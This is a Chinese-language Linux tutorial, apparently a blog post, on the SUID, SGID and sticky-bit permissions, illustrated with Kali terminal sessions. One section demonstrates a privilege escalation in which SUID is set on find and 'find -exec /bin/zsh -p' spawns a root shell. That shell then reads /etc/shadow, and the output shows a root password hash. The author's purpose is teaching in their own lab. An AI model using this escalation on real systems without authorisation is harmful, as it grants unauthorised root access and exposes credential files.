• 在复杂多变的生产环境中,单纯设置文件的 rwx 权限无法满足我们对安全和灵活性的需求,因此便有了 SUIDSGIDSBIT 的特殊权限位。这是一种对文件权限进行设置的特殊功能,可以与一般权限同时使用,以弥补一般权限不能实现的功能。

SUID

  • SUID(Set User ID)是一种权限机制,通常用于 UNIX 和类 UNIX 系统中。它允许用户在执行特定程序时暂时获取该程序所有者的权限,而不是执行者的权限。这对于一些需要特殊权限才能完成的任务非常有用,例如修改系统文件或执行特定的系统命令。

  • 特点如下:

    • SUID 权限仅对二进制可执行文件有效;

    • 如果执行者对于该二进制可执行文件具有 x 的权限,执行者将具有该文件的所有者的权限;

    • 本权限仅在执行该二进制可执行文件的过程中有效;

  • SUID 在权限位置有两种显示方式:

    • 当命令所属用户具有 x 执行权限时为:s

    • 当命令所属用户不具有 x 执行权限时为:S

1
2
3
┌──(root㉿kali)-[~]
└─# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd

SUID 作用演示

  • 根据之前的学习可知,当用户执行 passwd 命令修改密码时,执行的是 /usr/bin/passwd 这个可执行文件,当执行时会以 root 用户身份执行,然后去修改 /etc/shadow 文件。
  • 查看一下 /etc/shadow 文件的权限:
1
2
3
┌──(root㉿kali)-[~]
└─# ll /etc/shadow
-rw-r----- 1 root shadow 1478 Sep 26 07:06 /etc/shadow
  • /usr/bin/passwds 权限去除,尝试修改密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kali)-[~]
└─# chmod u-s /usr/bin/passwd

┌──(root㉿kali)-[~]
└─# ll /usr/bin/passwd
-rwxr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd

┌──(root㉿kali)-[~]
└─# su kali

┌──(kali㉿kali)-[/tmp]
└─$ passwd
Changing password for kali.
Current password:
New password:
Retype new password:
passwd: Authentication token manipulation error
passwd: password unchanged
  • 虽然普通用户有权限使用 passwd,但无法向该文件连锁执行的文件做出修改,就会提示用户身份令牌错误,普通用户就不能自己修改自己的密码了。

SUID 设置不当

  • 那么这个会有什么危害呢?
    • 普通用户在执行特殊的 SUID 命令的时候(如:findvimlessmore 等),命令会自动申请管理员权限,并以管理员的权限去执行命令,当用户在这种拥有可以再执行命令的命令下行特殊命令,就会出现拥有当前申请到的管理员权限的命令终端。
  • 查看并修改 find 命令的权限:
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# ll /usr/bin/find
-rwxr-xr-x 1 root root 224848 Jul 2 01:26 /usr/bin/find

┌──(root㉿kali)-[~]
└─# chmod 4755 /usr/bin/find
  • 切换到 Kali 用户,使用 find 执行 whoami 命令:
1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# su kali

┌──(kali㉿kali)-[/root]
└─$ find ~ -name .zshrc -exec whoami \;
root
  • 可看到执行成功,直接切换 Shell
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[/root]
└─$ find ~ -name .zshrc -exec /bin/zsh -p \;
kali# whoami
root
kali# id
uid=1000(kali) gid=1000(kali) euid=0(root) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),117(scanner),140(wireshark),142(kaboxer)
kali# head -n 1 /etc/shadow
root:$y$j9T$U6ezSS5c7XJb3IH5Ynpw71$mDrBH6l3yv9VSha80VLwJrU3ruqEezkI4YJ/k6kcUp9:19626:0:99999:7:::
  • 成功提升到 root 权限。

注:

  • 这里可以看到有出现了一个 euid(effective user ID),当用户执行一个可执行文件时,该执行文件的 euid 将被设置为文件所有者的 uid,这使得用户在执行该文件时可以暂时获得文件所有者的特权。
  • 所以当一个可执行文件设置了 SUID 位,并且文件所有者是 root(uid 为 0),那么当普通用户执行该文件时,该进程的 euid 将设置为 0(root),以获得执行该文件所需的特权权限。

SGID

  • SGID(Set Group ID)是一种 UNIX 和类 UNIX 系统中的权限机制,类似于 SUID(Set User ID)
  • SGID 主要作用于文件夹,当为某个文件夹设置 SGID 权限后,任何用户在该目录下创建的文件的属组都会继承该目录的属组。
  • 正常创建目录,在目录中创建文件:
1
2
3
4
5
┌──(root㉿kali)-[/tmp]
└─# mkdir demo ; ls -ld demo ; cd demo ; touch test ; ls -l
drwxr--r-- 2 root root 4096 Oct 10 13:39 demo
total 0
-rw-r--r-- 1 root root 0 Oct 10 13:39 test
  • 当设置了 SGID 之后,创建的文件就会以文件夹所属组为准:
1
2
3
4
5
┌──(root㉿kali)-[/tmp]
└─# mkdir xixi ; chmod g+s xixi ; chown :kali xixi ; ls -ld xixi ; cd xixi ; touch test ; ls -l
drwxr-Sr-- 2 root kali 4096 Oct 10 13:42 xixi
total 0
-rw-r--r-- 1 root kali 0 Oct 10 13:42 test

SBIT

  • 粘滞位(Sticky Bit)是一种 UNIX 和类 UNIX 系统中的权限机制,通常应用于目录。当目录设置了粘滞位后,只有目录的所有者才能删除或重命名其下的文件,即使其他用户对该目录有写权限也不行。
  • 粘滞位主要用于共享目录,以防止普通用户删除其他用户创建的文件。一个经典的例子是系统的 /tmp 目录,它通常被设置为具有粘滞位。这样一来,任何用户都可以在 /tmp 目录下创建临时文件,但只有文件的创建者(所有者)能够删除或修改自己创建的文件。
1
2
3
┌──(root㉿kali)-[~]
└─# ls -ld /tmp
drwxrwxrwt 7 root root 4096 Oct 10 13:44 /tmp
  • 使用 adduser 创建一个账户:
1
2
3
4
5
6
┌──(root㉿kali)-[/tmp]
└─# adduser demo

┌──(root㉿kali)-[/tmp]
└─# tail -n 1 /etc/passwd
demo:x:1001:1001:,,,:/home/demo:/bin/bash
  • 切换到 Kali/tmp 下创建 demo 文件:
1
2
3
4
┌──(kali㉿kali)-[/tmp]
└─$ touch demo ; ls -l
total 0
-rw-r--r-- 1 kali kali 0 Oct 10 13:52 demo
  • 切换到 demo 尝试删除 demo 文件:
1
2
3
┌──(demo㉿kali)-[/tmp]
└─$ rm -rf demo
rm: cannot remove 'demo': Operation not permitted